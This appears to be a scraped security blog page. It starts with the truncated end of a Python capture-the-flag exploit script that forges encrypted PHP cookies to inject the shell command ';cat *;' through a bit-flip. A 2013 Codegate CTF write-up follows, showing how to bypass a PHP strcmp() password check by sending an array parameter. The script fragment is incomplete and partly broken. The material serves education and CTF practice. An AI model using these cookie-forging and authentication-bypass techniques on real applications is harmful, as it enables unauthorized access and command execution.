    for i in xrange(0,len(s),16):
        print s[i:i+16]
    print '\n'

def Pwn(s):
    global url
    s = urllib.quote_plus(enc(s))
    req = requests.get(url, cookies = {'settings' : s}).content
 #   if req.find('works') != -1:
    print req
  #  else:
   #     print '[-] FAIL'

def GetCookie(name):
    global url
    d = {
    h = requests.post(url, data = d, headers = {'Content-Type' : 'application/x-www-form-urlencoded'}).headers
    if h.has_key('set-cookie'):
        h = dec(urllib.unquote_plus(h['set-cookie'][9:]))
        #h = urllib.unquote_plus(h['set-cookie'][9:])
        #print h
        return h
        print '[-] ERROR' 

#a:2:{s:4:"name";s:10:"X;cat *;#a";s:8:"greeting";s:24:"echo 'Hello X;cat *;#a!'";}
#s:10:"X;cat *;#a
#;s:24:"echo 'Hel
#lo X;cat *;#a!'"
#a:2:{s:4:"name";s:42:"zzzzzzzzzzzzzzzzzX;cat *;#zzzzzzzzzzzzzzzz";s:8:"greeting";s:56:"echo 'Hello zzzzzzzzzzzzzzzzzX;cat *;#zzzzzzzzzzzzzzzz!'";}
#zzzzzzzX;cat *;#
#;s:56:"echo 'Hel
#lo zzzzzzzzzzzzz
#zzzzX;cat *;#zzz
#exploit = 'X' + ';cat *;#a' #Test case first, unsuccess
exploit = 'z'*17 + 'X' + ';cat *;#' + 'z' *16 # Test Success

#exploit = "______________________________________________________; cat *;#"
cookie = GetCookie(exploit)
pos = 100; #test case success
#pos = 51; #test case first, unsuccess
val = chr(ord('X') ^ ord("'") ^ ord(cookie[pos]))
exploit = cookie[0:pos] + val + cookie[pos + 1:]

Sunday, March 3, 2013

Unauthorized Access: Bypassing PHP strcmp()

While playing Codegate CTF 2013 this weekend, I had the opportunity to complete Web 200 which was very interesting. So, let get our hands dirty.

The main page asks you to provide a valid One-Time-Password in order to log in:

A valid password can be provided by selecting the "OTP issue" option, we can see the source code (provided during the challenge) below:

        echo "your ID : ".$_SERVER["REMOTE_ADDR"]."";
        echo "your password : " .make_otp($_SERVER["REMOTE_ADDR"])."";
        $time = 20 - (time() - ((int)(time()/20))*20);
        echo "you can login with this password for $time secs.";

A temporary password is calculated based on my external IP ( which will last 20 seconds or less, below the result:

So, then I clicked on "Login" option (see first image above) and below POST data was sent:


Which gave me access to the web site (line 6 in the code below):

But we cannot reach line 9 (see code below) in order to get the flag since the IP in the "id" parameter was different. Let's analyze the script that handles the Login Form (login_ok.php):

1. $flag = file_get_contents($flag_file);
2. if (isset($_POST["id"]) && isset($_POST["ps"])) {
3.    $password = make_otp($_POST["id"]);
4.    sleep(3); // do not bruteforce
5.    if (strcmp($password, $_POST["ps"]) == 0) {
6.       echo "welcome, ".$_POST["id"]
8.       if ($_POST["id"] == "") {
9.           echo "Flag:".$flag
      } else {
                        echo "alert('login failed..')";

Test case 1: Spoofing Client IP Address:

So, the first thing that came to my mind in order to get the flag (line 9) was to send "" in the "id" parameter, so, let's analyze the function make_otp() which calculates the password:

       $flag_file = "flag.txt";

        function make_otp($user) {
                // acccess for 20secs.
                $time = (int)(time()/20);
                $seed = md5(file_get_contents($flag_file)).md5($_SERVER['HTTP_USER_AGENT']);
                $password = sha1($time.$user.$seed);
                return $password;

As we can see in the code above, the function make_otp receives the "id" parameter in the $user variable and is used to calculate the password, so, by following this approach, we will not be able to pass line 5 since we need a password  for  the IP, and we can only request passwords based on our external IP via "OTP Issue" option as explained above, so, how can we get one? What if we try to find a vulnerability in the code related to "OTP Issue" option? 

So, since "OTP Issue" is reading the IP based on the environment variable "REMOTE_ADDR"  we could try to spoof our external IP address as if we were connecting from, but unfortunately it is not a good option, although spoofing could be possible, it is only an one way communication so we would not get a response from the Server, so at this point, we need to discard this approach.

Test case 2: Bruteforcing the password

By looking at the make_otp() function shown above, the only data we do not know in the password calculation process, is the content of $flag_file (obviously), so, assuming that the content of that file is less than 4-5  characters and therefore have a chance to bruteforce the MD5 hash, we only would have 20 seconds to guess it, and due to the sleep(3) command (see line 4 above), we could only guess 6 passwords before the password expires and therefore we definitely drop bruteforcing approach off the table.

Test case 3: Bypassing strcmp() function

After analyzing the two cases described above I started "googling" for "strcmp php vulnerabilities" but did not find anything, then, by looking at PHP documentation and realized this function has only three possible return values:

int strcmp ( string $str1 , string $str2 )
< 0 if str1 is less than str2; > 0 if str1 is greater than str2, and 0 if they are equal.

Obviously, we need to find a way to force strcmp to return 0 and be able to bypass line 5 (see above) without even knowing the password, so, I started wondering what would be the return value if there is an error during the comparison? So, I prepare a quick test comparing  str1 with an Array (or an Object) instead of another string:

$fields = array(
    'id' => '',
    'ps' => 'bar'
 if (strcmp($a,$fields) == 0){
        echo " This is zero!!";
       echo "This is not zero";

And got below warning from PHP:

PHP Warning:  strcmp() expects parameter 2 to be string, array given in ...

But guess what?Voila! it also returns the string "This is zero!!" In other words, it returns 0 as if both values were equal.

So, the last but not least step is to send an Array in the "ps" POST parameter so that we can bypass line 5, after some research and help from my friend Joe B. I learned I can send an array this way:


Notice that instead of sending "&ps=a", I also send the square brackets [] in the parameter name which will send an array object!! Also, notice that I am sending "id=" so that I can get to the line 9.
And after sending this POST request...


I tested this vulnerability with my local version of PHP/5.3.2-1ubuntu4.17, I do not know the version running in the CTF Server but should be similar.
After this exercise, I would suggest you all make sure you are not using strcmp() to compare values coming from end users (via POST/GET/Cookies/Headers, etc), this also reminds me the importance of not only validate parameter values BUT also parameter names as described in on of my previous blogs here.

Hope you enjoy it.

Thanks to CODEGATE Team to prepare those interesting challenges!